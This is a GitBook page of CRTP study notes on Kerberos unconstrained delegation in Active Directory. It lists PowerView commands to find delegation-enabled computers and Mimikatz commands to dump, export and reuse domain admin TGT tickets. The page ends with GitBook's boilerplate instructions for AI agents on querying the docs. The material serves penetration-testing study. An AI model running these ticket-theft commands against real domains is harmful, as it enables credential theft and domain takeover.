> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/unconstrained-delegation.md). # Unconstrained Delegation Unconstrained delegation is a privilege that can be granted to users or computers, this is almost always done on computers running services such as ISS and MSSQL. These services usually need access to a backend database on behalf of the authenticated user. When a user authenticates on a computer with the unrestricted Kerberos delegation right enabled, the user's authenticated TGT ticket is stored in the memory of that computer. If you have administrator access to this server, it is possible to dump all TGT tickets from memory. **Discover domain computers which have unconstrained delegation** Domain Controllers always show up, ignore them ``` . .\PowerView_dev.ps1 Get-Netcomputer -UnConstrained Get-Netcomputer -UnConstrained | select samaccountname ``` **Check if any DA tokens are available on the unconstrained machine** Wait for a domain admin to login while checking for tokens ``` Invoke-Mimikatz -Command '"sekurlsa::tickets"' ``` **Export the TGT ticket** ``` Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' ``` **Reuse the TGT ticket** ``` Invoke-Mimikatz -Command '"kerberos::ptt "' ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/unconstrained-delegation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.